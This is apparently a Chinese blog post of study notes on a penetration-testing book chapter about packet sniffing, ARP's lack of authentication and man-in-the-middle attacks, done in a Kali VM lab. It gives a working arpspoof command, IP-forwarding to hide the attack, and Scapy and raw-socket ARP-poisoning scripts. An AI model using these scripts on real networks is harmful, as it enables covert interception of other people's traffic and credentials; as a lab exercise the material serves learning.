《Python渗透测试编程技术:方法与实践》:网络嗅探与欺骗
第八章 網(wǎng)絡(luò)嗅探與欺騙
漏洞滲透程序在網(wǎng)絡(luò)中都以數(shù)據(jù)包形式傳輸,如果能對(duì)網(wǎng)絡(luò)中的數(shù)據(jù)包進(jìn)行分析,就可以深入掌握滲透原理,另外,很多網(wǎng)絡(luò)攻擊方法都是利用精心構(gòu)造的數(shù)據(jù)包來(lái)完成,例如常見的ARP欺騙,利用這種欺騙方式黑客可以截獲受害者計(jì)算機(jī)與外部通信的全部數(shù)據(jù),例如受害者登錄使用的用戶名與密碼、發(fā)送的郵件等。
場(chǎng)景:一個(gè)黑客靜靜地潛伏在你身邊,他手中的設(shè)備將每一個(gè)經(jīng)過(guò)你的計(jì)算機(jī)的網(wǎng)絡(luò)數(shù)據(jù)都復(fù)制了一份。互聯(lián)網(wǎng)中大部分?jǐn)?shù)據(jù)都沒(méi)有采用加密的方式傳輸,這就意味著你在網(wǎng)絡(luò)上的一舉一動(dòng)都在別人的監(jiān)視下。例如,使用HTTP、FTP、Telnet所傳輸?shù)拿魑囊坏┍槐O(jiān)聽,那么里面的信息也直接會(huì)泄露。有經(jīng)驗(yàn)的黑客都可以輕而易舉地通過(guò)抓包工具來(lái)捕獲這些關(guān)鍵信息,從而突破網(wǎng)絡(luò),竊取網(wǎng)絡(luò)中的秘密。網(wǎng)絡(luò)中最著名的一種欺騙攻擊被稱為“中間人攻擊”。在這種攻擊方式中,攻擊者會(huì)同時(shí)欺騙設(shè)備A和設(shè)備B,設(shè)法讓設(shè)備A誤認(rèn)為攻擊者的計(jì)算機(jī)是設(shè)備B同時(shí)讓設(shè)備B誤認(rèn)為攻擊者的計(jì)算機(jī)是設(shè)備A,從而將設(shè)備A和設(shè)備B之間的通信全部都經(jīng)過(guò)攻擊者的設(shè)備。
當(dāng)然,網(wǎng)絡(luò)安全人員也可以使用這些抓包工具發(fā)現(xiàn)黑客的不法入侵行為。
8.1、網(wǎng)絡(luò)數(shù)據(jù)嗅探
8.1.1編寫一個(gè)網(wǎng)絡(luò)嗅探工具
Scapy中提供了專門用于捕獲數(shù)據(jù)包的函數(shù)sniff()。這個(gè)函數(shù)功能十分強(qiáng)大,直接使用這個(gè)函數(shù)捕獲整個(gè)網(wǎng)絡(luò)的通信,會(huì)導(dǎo)致堆積大量數(shù)據(jù),如果不加以過(guò)濾,將會(huì)很難從其中找到需要的數(shù)據(jù)包。因此sniff()函數(shù)還支持過(guò)濾器,這個(gè)過(guò)濾器使用了一種功能非常強(qiáng)大的過(guò)濾語(yǔ)言——“伯克利包過(guò)濾”規(guī)則(Berkeley Packet Filter ,BFT),利用BFT規(guī)則可以確定該獲取和檢查哪些流量,忽略哪些流量,通過(guò)比較各個(gè)層協(xié)議中數(shù)據(jù)字段值的方法對(duì)流量進(jìn)行過(guò)濾。
一段短小精悍的數(shù)據(jù)嗅探工具代碼如下:
【小tips:kali虛擬機(jī)要和主機(jī)有交互才能抓包,不然沒(méi)包怎么捕獲嘛?所以可以通過(guò)什么服務(wù)讓他們先連通,有數(shù)據(jù)交互才可以,比如我用了ping命令。
代碼一直沒(méi)有結(jié)果,我又花了半天時(shí)間,一直沒(méi)有,就算是在終端直接輸入scapy然后輸入sniff那個(gè)語(yǔ)句,都是沒(méi)有結(jié)果的,一直在運(yùn)行中~~
我看了書,也對(duì)比了我照著敲的代碼,標(biāo)點(diǎn)符號(hào)都不差一個(gè),然后還是沒(méi)有結(jié)果。最后我認(rèn)為應(yīng)該是kali和主機(jī)沒(méi)有交互,所以我打開終端輸入ping192.168.66.1,果然就有結(jié)果了。
】
費(fèi)了好大力氣,才找到這個(gè)文件目錄,肯定是之前重新安裝把路徑改了,導(dǎo)致這個(gè)project文件直接跑到root目錄下了。
還有一個(gè)問(wèn)題就是,我打不開這個(gè)后綴格式的文件,所以看不到里面的內(nèi)容,但是這個(gè)文件都存在了,代碼執(zhí)行應(yīng)該是沒(méi)問(wèn)題的啦!
8.1.2用wireshark查看數(shù)據(jù)包
查看到我們之前抓包結(jié)果如下:
當(dāng)在數(shù)據(jù)包列表面板中選中一個(gè)數(shù)據(jù)包之后,在數(shù)據(jù)包信息面板中可以查看這個(gè)數(shù)據(jù)包的詳細(xì)信息,在數(shù)據(jù)包原始列表中可以看到這個(gè)數(shù)據(jù)包的原始信息。
將數(shù)據(jù)包詳細(xì)信息展開,可以發(fā)現(xiàn)有四層,一個(gè)數(shù)據(jù)包在網(wǎng)絡(luò)中傳輸通常要使用多個(gè)協(xié)議,這些協(xié)議一層層將要傳輸?shù)臄?shù)據(jù)包裝起來(lái)。將前面的黑色三角形展開,每一個(gè)三角形對(duì)應(yīng)一層數(shù)據(jù)的詳細(xì)信息。【這個(gè)在計(jì)算機(jī)網(wǎng)絡(luò)(以及網(wǎng)絡(luò)工程師考試學(xué)習(xí))中有講過(guò),關(guān)于數(shù)據(jù)在網(wǎng)絡(luò)中的傳輸流程】
8.2 ARP原理與缺陷
ARP主要原因是以太網(wǎng)中使用設(shè)備的交換機(jī)并不能識(shí)別IP地址,只能識(shí)別硬件地址,在交換機(jī)中維護(hù)著一個(gè)內(nèi)容可尋址寄存器(content address memory,CAM)。
#交換機(jī)每一個(gè)端口所連接設(shè)備的硬件地址對(duì)應(yīng)表,如下所示。如果交換機(jī)h3c收到一個(gè)發(fā)往特定MAC地址(比如000f-e2b2-2eeb 1)的數(shù)據(jù)包時(shí),首先查找 CAM中有無(wú)對(duì)應(yīng)表項(xiàng),如果有就講數(shù)據(jù)包發(fā)往這個(gè)端口(下面可以看到,表的第一行內(nèi)容,端口為GigabitEthernet1/0/52) #1、在樓層交換機(jī)查看各端口連接的ip電腦 h3c>dis mac-address MAC ADDR VLAN ID STATE PORT INDEX AGING TIME(s) 000f-e2b2-2eeb 1 Learned GigabitEthernet1/0/52 AGING 000f-e2bd-1f2a 1 Learned GigabitEthernet1/0/52 AGING a86b-7c24-b7ac 1 Learned GigabitEthernet1/0/52 AGING 000f-e2b2-2eeb 17 Learned GigabitEthernet1/0/52 AGING 0023-ae76-9f8c 17 Learned Ethernet1/0/21 AGING 0023-aeaa-1919 17 Learned Ethernet1/0/24 AGING 0027-197c-3e1d 17 Learned Ethernet1/0/22 AGING #2、通過(guò)lansee軟件查看IP與對(duì)應(yīng)的mac地址,找到相應(yīng)的客戶端電腦。#3、在核心交換機(jī)中,查看所有光口連接的vlanID即,那些樓層交換機(jī) >dis mac-address vlan 17 MAC ADDR VLAN ID STATE PORT INDEX AGING TIME(s) 0023-ae76-9f8c 17 Learned GigabitEthernet3/0/12 AGING 0023-aeaa-1919 17 Learned GigabitEthernet3/0/12 AGING 0027-197c-3e1d 19 Learned GigabitEthernet3/0/15 AGING 0080-91af-682e 19 Learned GigabitEthernet3/0/15 AGING既然軟件中使用的是IP地址,但是交換機(jī)卻使用的MAC地址,那么網(wǎng)絡(luò)傳輸中的某個(gè)階段肯定發(fā)生了IP地址與MAC地址的轉(zhuǎn)換,這個(gè)轉(zhuǎn)換過(guò)程發(fā)生在數(shù)據(jù)包到達(dá)交換機(jī)之前,在每一臺(tái)支持ARP的主機(jī)中都有一個(gè)ARP表,這個(gè)表保存了已知的IP地址與MAC地址的對(duì)應(yīng)關(guān)系。下面是Windows操作系統(tǒng)中的ARP表,例如當(dāng)想要和192.168.137.111通信時(shí),首先查找到表中第一行,發(fā)現(xiàn)其對(duì)應(yīng)MAC地址為2a-d6-b3-1d-8b-a6 ,所以發(fā)送數(shù)據(jù)包時(shí)要添加這個(gè)MAC地址。這樣交給交換機(jī)之后,才能成功找到對(duì)應(yīng)接口轉(zhuǎn)發(fā)出去。
那么,當(dāng)主機(jī)想要通信的IP地址192.168.137.55不在表項(xiàng)中怎么辦呢?這時(shí)就要用到ARP,主機(jī)先發(fā)送一個(gè)ARP請(qǐng)求,內(nèi)容大概為“注意了,我的IP是192.168.137.1,物理地址是 2A-28-19-0E-3E-D3【可以用ipconfig -all查看本機(jī)的IP和MAC地址】,IP地址為192.168.137.55的主機(jī)在嘛?我需要和你進(jìn)行通信,請(qǐng)告訴我你的物理地址,收到請(qǐng)回答”。這個(gè)請(qǐng)求數(shù)據(jù)包會(huì)以廣播形式發(fā)送給網(wǎng)段中的所有設(shè)備,但是只有目標(biāo)主機(jī)即IP地址為192.168.137.55的主機(jī)會(huì)應(yīng)答,目標(biāo)主機(jī)先將IP192.168.137.1和物理地址 2A-28-19-0E-3E-D3作為新的表項(xiàng)添加到自己的ARP表中,然后回應(yīng):“hi,我就是那個(gè)ip地址為192.168.137.55的主機(jī),我的物理地址是33-33-33-33-33-33”。源主機(jī)收到并解析完成后,會(huì)將這個(gè)表項(xiàng)也添加到自己的ARP表中。
不難發(fā)現(xiàn),這個(gè)ARP協(xié)議過(guò)程中沒(méi)有任何認(rèn)證機(jī)制,如果一臺(tái)主機(jī)收到的ARP請(qǐng)求數(shù)據(jù)包形如“注意了,我的IP是XXXXX,物理地址是XXXXXX,IP地址為192.168.137.55的主機(jī)在嘛?我需要和你進(jìn)行通信,請(qǐng)告訴我你的物理地址,收到請(qǐng)回答”的數(shù)據(jù)包,不會(huì)對(duì)其進(jìn)行真?zhèn)闻袛?#xff0c;都會(huì)將其添加到ARP表中并作出應(yīng)答。因此,黑客可能會(huì)利用這個(gè)漏洞來(lái)冒充主機(jī)。
8.3 ARP欺騙原理
8.3.1、實(shí)驗(yàn)網(wǎng)絡(luò)配置
kali虛擬機(jī) IP:192.168.88.129 MAC:00:0C:29:AF:CD:93 網(wǎng)關(guān):192.168.88.2 要欺騙的目標(biāo)主機(jī) IP:192.168.88.132 MAC: 00-0C-29-D8-D0-08 網(wǎng)關(guān):192.168.88.2 網(wǎng)關(guān)信息 網(wǎng)關(guān):192.168.88.2 MAC:00:50:56:e1:3c:e0
8.3.2、演示工具安裝
通過(guò)前面的分析,現(xiàn)在我們只需要將目標(biāo)主機(jī)的ARP表中的192.168.88.2表項(xiàng)修改為攻擊機(jī)kali的硬件地址即可。如果是動(dòng)態(tài)ARP,修改起來(lái)很簡(jiǎn)單,因?yàn)橹鳈C(jī)收到ARP請(qǐng)求后不會(huì)判斷真?zhèn)?#xff0c;直接將對(duì)應(yīng)IP和MAC加入ARP表項(xiàng)中,如果IP已經(jīng)存在,只需要將對(duì)應(yīng)的MAC修改即可。
kali中提供了很多能給進(jìn)行網(wǎng)絡(luò)欺騙的工具,書上以典型的arpspoof為例演示。
8.3.3、演示一次網(wǎng)絡(luò)欺騙
sudo arpspoof -i eth0 -t 192.168.88.132 192.168.88.2現(xiàn)在被欺騙的目標(biāo)主機(jī)會(huì)把kali攻擊機(jī)192.168.88.129當(dāng)做網(wǎng)關(guān),可以在目標(biāo)主機(jī)上看到,此時(shí)kali攻擊機(jī)和網(wǎng)關(guān)192.168.88.2的MAC地址是一樣的。
8.3.4、截獲目標(biāo)主機(jī)發(fā)往網(wǎng)關(guān)的數(shù)據(jù)包
arpspoof完成了對(duì)目標(biāo)主機(jī)的欺騙,可以截獲目標(biāo)主機(jī)發(fā)往網(wǎng)關(guān)的數(shù)據(jù)包,但是需要借助別的工具查看,比如打開wireshark查看即可。
在目標(biāo)主機(jī)打開網(wǎng)頁(yè),百度一下。即可在攻擊機(jī)獲取數(shù)據(jù)
可是有個(gè)問(wèn)題,目標(biāo)主機(jī)上無(wú)法正常上網(wǎng)了,因?yàn)楝F(xiàn)在攻擊機(jī)捕獲了數(shù)據(jù)包,沒(méi)有轉(zhuǎn)發(fā)出去。
8.3.5、將捕獲的數(shù)據(jù)包轉(zhuǎn)發(fā)給網(wǎng)關(guān)
為了讓目標(biāo)主機(jī)能夠正常上網(wǎng),需要在kali攻擊機(jī)開啟轉(zhuǎn)發(fā)功能。
┌──(kaligan?studygan)-[~/Desktop] └─$ sudo -i [sudo] kaligan 的密碼: ┌──(root?studygan)-[~] └─# echo 1 >> /proc/sys/net/ipv4/ip_forward
這樣子的話,目標(biāo)主機(jī)就可以正常上網(wǎng),無(wú)法察覺自己受到了攻擊。
可是我有個(gè)問(wèn)題誒~
雖然我們可以在wireshark上面看到有那么多數(shù)據(jù)包,但是實(shí)際內(nèi)容我也不會(huì)分析呀!對(duì)我來(lái)說(shuō),抓到這些包能干啥呢?我都看不到目標(biāo)主機(jī)的搜索內(nèi)容啥的。害,路漫漫其修遠(yuǎn)兮,fighting,之后有一天估計(jì)會(huì)學(xué)到怎么分析查看捕獲的具體內(nèi)容的吧?
8.4 中間人欺騙
查看ARP數(shù)據(jù)包格式,主要參數(shù)為op(ARP類型,值為1表示ARP請(qǐng)求) 、psrc (源IP)、pdst (目的IP)。實(shí)驗(yàn)是將攻擊機(jī)的地址偽造成網(wǎng)關(guān)地址,所以psrc應(yīng)該是網(wǎng)關(guān)IP,pdst是攻擊機(jī)IP。
>>> ls(ARP) hwtype : XShortField = (1) ptype : XShortEnumField = (2048) hwlen : FieldLenField = (None) plen : FieldLenField = (None) op : ShortEnumField = (1) hwsrc : MultipleTypeField = (None) psrc : MultipleTypeField = (None) hwdst : MultipleTypeField = (None) pdst : MultipleTypeField = (None)需要使用Ether層將數(shù)據(jù)包發(fā)出去,我們看下Ether層數(shù)據(jù)包格式
>>> ls(Ether) dst : DestMACField = (None) src : SourceMACField = (None) type : XShortEnumField = (36864)8.4.1、一個(gè)簡(jiǎn)單的ARP欺騙程序
import time from scapy.all import sednp,ARP,Ether victimIP="192.168.88.132" gatewayIP="192.168.88.2" packet = Ether()/ARP(psrc=gatewayIP,pdst=victimIP) while 1:sendp(packet)time.sleep(10) packet.show()運(yùn)行上述程序,目標(biāo)主機(jī)這邊已經(jīng)把攻擊機(jī)的IP表項(xiàng)寫入ARP表了。
可以看到kali攻擊機(jī)這邊arp表還是正常的
8.4.2、一次中間人欺騙
一次中間人欺騙需要同時(shí)對(duì)目標(biāo)主機(jī)和網(wǎng)關(guān)進(jìn)行欺騙,圖8-22是目標(biāo)主機(jī)與網(wǎng)關(guān)之間的過(guò)程、圖8-23是實(shí)現(xiàn)中間人欺騙后目標(biāo)主機(jī)與網(wǎng)關(guān)直接的通信方式。
在ARP欺騙程序上實(shí)現(xiàn)中間人欺騙:
在kali打開wireshark,過(guò)濾器設(shè)置為icmp。將下述程序以ARPPoison.py保存并在pycharm中執(zhí)行,然后再目標(biāo)主機(jī)上執(zhí)行“ping 192.168.88.2”。
這時(shí)候在攻擊機(jī)可以看到原本在目標(biāo)主機(jī)上才能看見的數(shù)據(jù)包。如果之前沒(méi)有在攻擊機(jī)轉(zhuǎn)發(fā)數(shù)據(jù)包的話,目標(biāo)主機(jī)是ping不通網(wǎng)關(guān)的,因?yàn)闆](méi)有返回的數(shù)據(jù)包,ping要有去有回才能通。
#在攻擊機(jī)轉(zhuǎn)發(fā)數(shù)據(jù)包 sudo -i echo 1 >> /proc/sys/net/ipv4/ip_forward下圖可以看出,目標(biāo)主機(jī)與網(wǎng)關(guān)的通信,中間接入了kali攻擊機(jī),所以在kali可以捕獲并查看目標(biāo)主機(jī)與網(wǎng)關(guān)的通信數(shù)據(jù)包。
8.4.3 用socket實(shí)現(xiàn)中間人欺騙
import socket import struct import binascii #socket.ntohs(0x0800)協(xié)議類型8表示ARP協(xié)議,十六進(jìn)展為\x08\x00 #socket沒(méi)有綁定IP地址,而是綁定了網(wǎng)卡“eth0”,因?yàn)橐l(fā)送的是以太幀,這個(gè)以太幀是由目的地的MAC決定的,而不是由IP決定的。 s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) s.bind(("eth0", socket.htons(0x0800))) #源MAC地址【kali虛擬機(jī)的MAC地址】,發(fā)送端以太網(wǎng)地址 srcMAC = b'\x00\x0C\x29\xAF\xCD\x93' #目的MAC地址【目標(biāo)主機(jī)MAC】,目的以太網(wǎng)地址 dstMAC = b'\x00\x0C\x29\xD8\xD0\x08' #以太網(wǎng)幀類型,\x08\x06表示ARP類型 code = b'\x08\x06' #硬件類型,1表示以太網(wǎng),十六進(jìn)制為\x00\x01 htype = b'\x00\x01' #協(xié)議類型,\x08\x00表示ARP協(xié)議 protype = b'\x08\x00' #硬件地址長(zhǎng)度,\x06表示6位硬件地址 hsize = b'\x06' #協(xié)議地址長(zhǎng)度,\x04表示4位IP地址 psize = b'\x04' #op=1表示請(qǐng)求,op=2表示回應(yīng) opcode = b'\x00\x01' #網(wǎng)關(guān)地址,發(fā)送端IP地址 gatewayIP = '192.168.88.2' #目標(biāo)主機(jī)地址,目的IP地址 victimIP = '192.168.88.132' #socket.inet_aton(ip_string),將IPv4地址字符串(如192.168.88.2)轉(zhuǎn)為32位打包的網(wǎng)絡(luò)字節(jié)。 #socket.inet_ntoa(ip_string),將32位的網(wǎng)絡(luò)字節(jié)轉(zhuǎn)為用標(biāo)準(zhǔn)點(diǎn)號(hào)分隔的IP地址。 packet = dstMAC+srcMAC+htype+protype+hsize+psize+opcode+srcMAC+socket.inet_aton(gatewayIP)+dstMAC+socket.inet_aton(victimIP) while 1:s.send(packet)運(yùn)行程序后,可在目標(biāo)主機(jī)用查看ARP表。可以看到網(wǎng)關(guān)的硬件地址已經(jīng)變成攻擊機(jī)的硬件地址,說(shuō)明ARP欺騙已經(jīng)成功,現(xiàn)在目標(biāo)主機(jī)發(fā)往網(wǎng)關(guān)的流量都被劫持到kali攻擊機(jī)上了。
【不知道為啥哈,我開始運(yùn)行的時(shí)候,目標(biāo)主機(jī)的arp表一直都沒(méi)變。主機(jī)、kali攻擊機(jī)我都重啟過(guò),但還是沒(méi)有預(yù)期結(jié)果。后來(lái),我在運(yùn)行kali機(jī)運(yùn)行的同時(shí),在目標(biāo)主機(jī)啟動(dòng)ping192.168.88.129,與kali攻擊機(jī)能ping通,然后再查看ARP表,結(jié)果就變成下面那個(gè)圖的樣子啦~】
總結(jié)
以上是生活随笔為你收集整理的《Python渗透测试编程技术:方法与实践》:网络嗅探与欺骗的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: dbc:oracle:thin,没安装E
- 下一篇: 飞腾腾锐D2000-国产CUP